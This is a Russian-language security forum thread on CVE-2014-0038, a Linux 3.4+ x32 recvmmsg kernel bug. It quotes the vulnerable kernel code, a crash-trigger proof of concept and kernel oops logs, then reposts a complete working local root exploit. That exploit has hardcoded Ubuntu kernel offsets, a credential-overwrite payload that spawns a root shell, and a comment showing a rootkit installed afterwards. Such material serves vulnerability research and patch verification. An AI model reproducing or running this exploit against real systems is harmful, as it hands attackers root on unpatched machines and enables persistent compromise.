Старый 31.01.2014, 03:12   #1
marky
 
Регистрация: 07.12.2013
Сообщений: 3
Репутация: 0
По умолчанию CVE-2014-0038 Linux 3.4+ local root X86_X32

CVE-2014-0038 Local root >= 3.4 CONFIG_X86_X32

changelog

Writeup http://www.openwall.com/lists/oss-security/2014/01/31/2

Последний раз редактировалось SynQ; 31.01.2014 в 09:57.. Причина: изменил тему
marky вне форума   Ответить с цитированием
Старый 31.01.2014, 09:45   #2
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Да, отличный баг. Как я и думал, появление X32 привнесло новые баги

Код:
asmlinkage long compat_sys_recvmmsg(int fd, struct compat_mmsghdr __user *mmsg,
                                    unsigned int vlen, unsigned int flags,
                                    struct compat_timespec __user *timeout)
{
        int datagrams;
        struct timespec ktspec;

        if (flags & MSG_CMSG_COMPAT)
                return -EINVAL;

        if (COMPAT_USE_64BIT_TIME)
                return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
                                      flags | MSG_CMSG_COMPAT,
                                      (struct timespec *) timeout);
/*...*/
timeout не копируется предварительно в ядро, как в других случаях, а используется напрямую.
Цитата:
to-be-written area must contain valid timespec data initially (the first 64 bit long field must be positive and the second one must be < 1G
Нужен активированный CONFIG_X86_X32, точно есть в ubuntu 13.04/13.10 и в mint. Пишут про opensuse и arch.

poc:
Код:
/*
 * PoC trigger for the linux 3.4+ recvmmsg x32 compat bug, based on the manpage
 *
 * https://code.google.com/p/chromium/issues/detail?id=338594
 *
 * $ while true; do echo $RANDOM > /dev/udp/127.0.0.1/1234; sleep 0.25; done
 */

#define _GNU_SOURCE
#include <netinet/ip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sys/syscall.h>

#define __X32_SYSCALL_BIT 0x40000000
#undef __NR_recvmmsg
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)

int
main(void)
{
#define VLEN 10
#define BUFSIZE 200
#define TIMEOUT 1
    int sockfd, retval, i;
    struct sockaddr_in sa;
    struct mmsghdr msgs[VLEN];
    struct iovec iovecs[VLEN];
    char bufs[VLEN][BUFSIZE+1];
    struct timespec timeout;

    sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    if (sockfd == -1) {
        perror("socket()");
        exit(EXIT_FAILURE);
    }

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    sa.sin_port = htons(1234);
    if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
        perror("bind()");
        exit(EXIT_FAILURE);
    }

    memset(msgs, 0, sizeof(msgs));
    for (i = 0; i < VLEN; i++) {
        iovecs[i].iov_base         = bufs[i];
        iovecs[i].iov_len          = BUFSIZE;
        msgs[i].msg_hdr.msg_iov    = &iovecs[i];
        msgs[i].msg_hdr.msg_iovlen = 1;
    }

    timeout.tv_sec = TIMEOUT;
    timeout.tv_nsec = 0;

//    retval = recvmmsg(sockfd, msgs, VLEN, 0, &timeout);
//    retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, &timeout);
    retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)1ul);
    if (retval == -1) {
        perror("recvmmsg()");
        exit(EXIT_FAILURE);
    }

    printf("%d messages received\n", retval);
    for (i = 0; i < retval; i++) {
        bufs[i][msgs[i].msg_len] = 0;
        printf("%d %s", i+1, bufs[i]);
    }
    exit(EXIT_SUCCESS);
}

Последний раз редактировалось SynQ; 31.01.2014 в 11:38..
SynQ вне форума   Ответить с цитированием
Старый 31.01.2014, 16:46   #3
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию

opensuse 13.1 x86_64
CONFIG_X86_X32=y

POC таки работает
Код:
. . . .
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory) <0.000013>
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 <0.000012>
fstat(3, {st_dev=makedev(253, 2), st_ino=1575075, st_mode=S_IFREG|0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=304, st_size=155534, st_atime=2014/01/25-11:25:19, st_mtime=2014/01/25-11:25:19, st_ctime=2014/01/25-11:25:19}) = 0 <0.000010>
mmap(NULL, 155534, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f7d1dcad000 <0.000011>
close(3)                                = 0 <0.000009>
open("/lib64/libc.so.6", O_RDONLY|O_CLOEXEC) = 3 <0.000013>
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\360\34\2\0\0\0\0\0"..., 832) = 832 <0.000010>
fstat(3, {st_dev=makedev(253, 2), st_ino=3670022, st_mode=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=3928, st_size=2008128, st_atime=2013/11/01-10:44:33, st_mtime=2013/11/01-10:44:33, st_ctime=2013/11/20-10:51:01}) = 0 <0.000009>
mmap(NULL, 3861056, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f7d1d706000 <0.000011>
mprotect(0x7f7d1d8ab000, 2097152, PROT_NONE) = 0 <0.000014>
mmap(0x7f7d1daab000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a5000) = 0x7f7d1daab000 <0.000014>
mmap(0x7f7d1dab1000, 14912, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f7d1dab1000 <0.000012>
close(3)                                = 0 <0.000009>
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f7d1dcac000 <0.000010>
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f7d1dcab000 <0.000010>
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f7d1dcaa000 <0.000009>
arch_prctl(ARCH_SET_FS, 0x7f7d1dcab700) = 0 <0.000009>
mprotect(0x7f7d1daab000, 16384, PROT_READ) = 0 <0.000013>
mprotect(0x600000, 4096, PROT_READ)     = 0 <0.000011>
mprotect(0x7f7d1dcd4000, 4096, PROT_READ) = 0 <0.000011>
munmap(0x7f7d1dcad000, 155534)          = 0 <0.000019>
socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3 <0.000018>
bind(3, {sa_family=AF_INET, sin_port=htons(1234), sin_addr=inet_addr("127.0.0.1")}, 16) = 0 <0.000013>
[ Process PID=22095 runs in x32 mode. ]
recvmmsg(3,  <unfinished ...>
+++ killed by SIGKILL +++
Killed
messages:
Код:
2014-01-31T14:51:06.164132+01:00 lezuze kernel: [ 2862.197652] BUG: unable to handle kernel NULL pointer dereference at 0000000000000009
2014-01-31T14:51:06.164147+01:00 lezuze kernel: [ 2862.199173] IP: [<ffffffff814b2453>] __sys_recvmmsg+0x23/0x220
2014-01-31T14:51:06.164149+01:00 lezuze kernel: [ 2862.200690] PGD 3f339c067 PUD 3e41d6067 PMD 0 
2014-01-31T14:51:06.164150+01:00 lezuze kernel: [ 2862.202202] Oops: 0000 [#10] PREEMPT SMP 
2014-01-31T14:51:06.164152+01:00 lezuze kernel: [ 2862.203807] Modules linked in: tun af_packet serpent_avx_x86_64 serpent_sse2_x86_64 serpent_generic twofish_avx_x86_64 twofish_x86_64_3way twofish_x86_64 twofish_common xts fuse xt_tcpudp xt_pkttype xt_LOG xt_limit loop ip6t_REJECT nf_conntrack_ipv6 nf_defrag_ipv6 ip6table_raw ipt_REJECT iptable_raw xt_CT iptable_filter ip6table_mangle nf_conntrack_netbios_ns nf_conntrack_broadcast nf_conntrack_ipv4 nf_defrag_ipv4 ip_tables xt_conntrack nf_conntrack ip6table_filter ip6_tables x_tables nls_iso8859_1 nls_cp437 vfat fat iTCO_wdt iTCO_vendor_support snd_hda_codec_hdmi snd_hda_codec_realtek arc4 x86_pkg_temp_thermal coretemp kvm_intel snd_hda_intel snd_hda_codec kvm snd_hwdep iwldvm snd_pcm mac80211 uvcvideo videobuf2_core videodev videobuf2_vmalloc joydev hid_multitouch videobuf2_memops snd_seq serio_raw pcspkr sr_mod i2c_i801 cdrom iwlwifi snd_timer snd_seq_device r8169 cfg80211 mii ideapad_laptop snd sparse_keymap rfkill battery ac lpc_ich soundcore snd_page_alloc mfd_core shpchp mperf sg autofs4 efivarfs btrfs raid6_pq zlib_deflate xor libcrc32c linear crc32_pclmul crc32c_intel ghash_clmulni_intel aesni_intel ablk_helper cryptd lrw gf128mul glue_helper aes_x86_64 i915 drm_kms_helper drm xhci_hcd i2c_algo_bit video thermal button processor thermal_sys scsi_dh_alua scsi_dh_hp_sw scsi_dh_emc scsi_dh_rdac scsi_dh dm_snapshot dm_mirror dm_region_hash dm_log dm_crypt dm_mod
2014-01-31T14:51:06.164153+01:00 lezuze kernel: [ 2862.207141] CPU: 1 PID: 22095 Comm: a.out Tainted: G      D      3.11.6-4-desktop #1
2014-01-31T14:51:06.164154+01:00 lezuze kernel: [ 2862.207143] Hardware name: LENOVO 20220/INVALID, BIOS 71CN51WW(V1.21) 07/12/2013
2014-01-31T14:51:06.164155+01:00 lezuze kernel: [ 2862.207144] task: ffff8803e42ea3c0 ti: ffff8803e402e000 task.ti: ffff8803e402e000
2014-01-31T14:51:06.164156+01:00 lezuze kernel: [ 2862.207146] RIP: 0010:[<ffffffff814b2453>]  [<ffffffff814b2453>] __sys_recvmmsg+0x23/0x220
2014-01-31T14:51:06.164157+01:00 lezuze kernel: [ 2862.207150] RSP: 0018:ffff8803e402fe98  EFLAGS: 00010202
2014-01-31T14:51:06.164158+01:00 lezuze kernel: [ 2862.207151] RAX: ffff8803e4030000 RBX: 0000000000000001 RCX: 0000000080000000
2014-01-31T14:51:06.164159+01:00 lezuze kernel: [ 2862.207152] RDX: 000000000000000a RSI: 00007fff77e06790 RDI: 0000000000000003
2014-01-31T14:51:06.164160+01:00 lezuze kernel: [ 2862.207153] RBP: 0000000000000001 R08: 0000000000000001 R09: 0000000000000001
2014-01-31T14:51:06.164161+01:00 lezuze kernel: [ 2862.207154] R10: 0000000000000000 R11: 0000000000000202 R12: 0000000000000003
2014-01-31T14:51:06.164162+01:00 lezuze kernel: [ 2862.207155] R13: 00007fff77e06790 R14: 00007fff77e06790 R15: 0000000080000000
2014-01-31T14:51:06.164163+01:00 lezuze kernel: [ 2862.207157] FS:  00007f7d1dcab700(0000) GS:ffff88043f240000(0000) knlGS:0000000000000000
2014-01-31T14:51:06.164163+01:00 lezuze kernel: [ 2862.207158] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
2014-01-31T14:51:06.164164+01:00 lezuze kernel: [ 2862.207159] CR2: 0000000000000009 CR3: 00000003fe13d000 CR4: 00000000001407e0
2014-01-31T14:51:06.164165+01:00 lezuze kernel: [ 2862.207160] Stack:
2014-01-31T14:51:06.164166+01:00 lezuze kernel: [ 2862.207161]  0000000a00000000 0000000000000000 0000000000000000 0000000000000000
2014-01-31T14:51:06.164167+01:00 lezuze kernel: [ 2862.207164]  0000000000000000 0000000000000000 0000000000000000 0000000000000000
2014-01-31T14:51:06.164168+01:00 lezuze kernel: [ 2862.207167]  0000000000000000 0000000000000000 0000000000000000 0000000000000085
2014-01-31T14:51:06.164169+01:00 lezuze kernel: [ 2862.207170] Call Trace:
2014-01-31T14:51:06.164170+01:00 lezuze kernel: [ 2862.207176]  [<ffffffff814e40e3>] compat_sys_recvmmsg+0xd3/0x120
2014-01-31T14:51:06.164171+01:00 lezuze kernel: [ 2862.207189]  [<ffffffff815b7a3f>] tracesys+0xe1/0xe6
2014-01-31T14:51:06.164172+01:00 lezuze kernel: [ 2862.207196]  [<00007f7d1d7e9729>] 0x7f7d1d7e9728
2014-01-31T14:51:06.164172+01:00 lezuze kernel: [ 2862.207201] Code: 0f 1f 84 00 00 00 00 00 41 57 41 89 cf 41 56 41 55 49 89 f5 41 54 41 89 fc 55 4c 89 c5 53 48 83 ec 70 4d 85 c0 89 54 24 04 74 19 <49> 8b 50 08 49 8b 30 48 8d 7c 24 18 e8 5c 61 ce ff 85 c0 0f 85 
2014-01-31T14:51:06.164174+01:00 lezuze kernel: [ 2862.207233] RIP  [<ffffffff814b2453>] __sys_recvmmsg+0x23/0x220
2014-01-31T14:51:06.164175+01:00 lezuze kernel: [ 2862.207238]  RSP <ffff8803e402fe98>
2014-01-31T14:51:06.164176+01:00 lezuze kernel: [ 2862.207238] CR2: 0000000000000009
2014-01-31T14:51:06.166322+01:00 lezuze kernel: [ 2862.208569] ---[ end trace 1b497034b3a4f422 ]---

Последний раз редактировалось 12309; 31.01.2014 в 16:56..
12309 вне форума   Ответить с цитированием
Старый 01.02.2014, 10:46   #4
marky
 
Регистрация: 07.12.2013
Сообщений: 3
Репутация: 0
По умолчанию

how arbitrary write occur?
marky вне форума   Ответить с цитированием
Старый 02.02.2014, 12:59   #5
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Эксплойт от rebel с #io

Код:
/* 
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
CVE-2014-0038 / x32 ABI with recvmmsg
by rebel @ irc.smashthestack.org
-----------------------------------

takes about 13 minutes to run because timeout->tv_sec is decremented
once per second and 0xff*3 is 765.

some things you could do while waiting:
  * watch http://www.youtube.com/watch?v=OPyZGCKu2wg 3 times
  * read https://wiki.ubuntu.com/Security/Features and smirk a few times
  * brew some coffee
  * stare at the countdown giggly with anticipation

could probably whack the high bits of some pointer with nanoseconds,
but that would require a bunch of nulls before the pointer and then
reading an oops from dmesg which isn't that elegant.

&net_sysctl_root.permissions is nice because it has 16 trailing nullbytes

hardcoded offsets because I only saw this on ubuntu & kallsyms is protected
anyway..

same principle will work on 32bit but I didn't really find any major
distros shipping with CONFIG_X86_X32=y

user@ubuntu:~$ uname -a
Linux ubuntu 3.11.0-15-generic #23-Ubuntu SMP Mon Dec 9 18:17:04 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu:~$ gcc recvmmsg.c -o recvmmsg
user@ubuntu:~$ ./recvmmsg
byte 3 / 3.. ~0 secs left.     
w00p w00p!
# id
uid=0(root) gid=0(root) groups=0(root)
# sh phalanx-2.6b-x86_64.sh
unpacking..

:)=

greets to my homeboys kaliman, beist, capsl & all of #social

Sat Feb  1 22:15:19 CET 2014
% rebel %
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/

#define _GNU_SOURCE
#include <netinet/ip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/utsname.h>

#define __X32_SYSCALL_BIT 0x40000000
#undef __NR_recvmmsg
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
#define VLEN 1
#define BUFSIZE 200

int port;

struct offset {
    char *kernel_version;
    unsigned long dest; // net_sysctl_root + 96
    unsigned long original_value; // net_ctl_permissions
    unsigned long prepare_kernel_cred;
    unsigned long commit_creds;
};

struct offset offsets[] = {
    {"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
    {"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
    {"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
    {NULL,0,0,0,0}
};

void udp(int b) {
    int sockfd;
    struct sockaddr_in servaddr,cliaddr;
    int s = 0xff+1;

    if(fork() == 0) {
        while(s > 0) {
            fprintf(stderr,"\rbyte %d / 3.. ~%d secs left    \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));
            sleep(1);
            s--;
            fprintf(stderr,".");
        }

        sockfd = socket(AF_INET,SOCK_DGRAM,0);
        bzero(&servaddr,sizeof(servaddr));
        servaddr.sin_family = AF_INET;
        servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
        servaddr.sin_port=htons(port);
        sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
        exit(0);
    }

}

void trigger() {
    open("/proc/sys/net/core/somaxconn",O_RDONLY);

    if(getuid() != 0) {
        fprintf(stderr,"not root, ya blew it!\n");
        exit(-1);
    }

    fprintf(stderr,"w00p w00p!\n");
    system("/bin/sh -i");
}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

// thx bliss
static int __attribute__((regparm(3)))
getroot(void *head, void * table)
{
    commit_creds(prepare_kernel_cred(0));
    return -1;
}

void __attribute__((regparm(3)))
trampoline()
{
    asm("mov $getroot, %rax; call *%rax;");
}

int main(void)
{
    int sockfd, retval, i;
    struct sockaddr_in sa;
    struct mmsghdr msgs[VLEN];
    struct iovec iovecs[VLEN];
    char buf[BUFSIZE];
    long mmapped;
    struct utsname u;
    struct offset *off = NULL;

    uname(&u);

    for(i=0;offsets[i].kernel_version != NULL;i++) {
        if(!strcmp(offsets[i].kernel_version,u.release)) {
            off = &offsets[i];
            break;
        }
    }

    if(!off) {
        fprintf(stderr,"no offsets for this kernel version..\n");
        exit(-1);
    }

    mmapped = (off->original_value  & ~(sysconf(_SC_PAGE_SIZE) - 1));
    mmapped &= 0x000000ffffffffff;

        srand(time(NULL));
    port = (rand() % 30000)+1500;

    commit_creds = (_commit_creds)off->commit_creds;
    prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;

    mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);

    if(mmapped == -1) {
        perror("mmap()");
        exit(-1);
    }

    memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);

    memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);

    if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
        perror("mprotect()");
        exit(-1);
    }
    
    sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    if (sockfd == -1) {
        perror("socket()");
        exit(-1);
    }

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    sa.sin_port = htons(port);

    if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
        perror("bind()");
        exit(-1);
    }

    memset(msgs, 0, sizeof(msgs));

    iovecs[0].iov_base = &buf;
    iovecs[0].iov_len = BUFSIZE;
    msgs[0].msg_hdr.msg_iov = &iovecs[0];
    msgs[0].msg_hdr.msg_iovlen = 1;

    for(i=0;i < 3 ;i++) {
        udp(i);
        retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);
        if(!retval) {
            fprintf(stderr,"\nrecvmmsg() failed\n");
        }
    }

    close(sockfd); 

    fprintf(stderr,"\n");

    trigger();
}
SynQ вне форума   Ответить с цитированием
Старый 02.02.2014, 14:20   #6
Ravenous
 
Аватар для Ravenous
 
Регистрация: 14.07.2012
Сообщений: 64
Репутация: 1
По умолчанию

SynQ, хотелось бы уточнить. CONFIG_X86_X32 - это опция компилирования ядра? или что за константа. Каким образом можно чекнуть значение? Подвержены только x64 дистры (ubuntu, mint,suse,arhc) ?
Ravenous вне форума   Ответить с цитированием
Старый 02.02.2014, 14:47   #7
jarowary
 
Регистрация: 02.02.2014
Сообщений: 1
Репутация: 0
По умолчанию

Ravenous, да, это опция, задаваемая при сборке ядра. В /proc/config.gz хранится сжатый gzip-ом конфиг текущего ядра. Соответственно проверить можно так:
zgrep CONFIG_X86_X32 /proc/config.gz
zcat /proc/config.gz | grep CONFIG_X86_X32
Или же из /boot/config-$версия_ядра
(т.е. cat /boot/config-`uname -r` | grep CONFIG_X86_X32)
jarowary вне форума   Ответить с цитированием
Старый 02.02.2014, 20:22   #8
t00perz
 
Регистрация: 05.09.2010
Сообщений: 15
Репутация: 0
По умолчанию

local root
>> https://github.com/saelo/cve-2014-0038
t00perz вне форума   Ответить с цитированием
Старый 07.03.2014, 10:39   #9
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

write-up об эксплуатации бага:
http://blog.includesecurity.com/2014...nerablity.html
SynQ вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot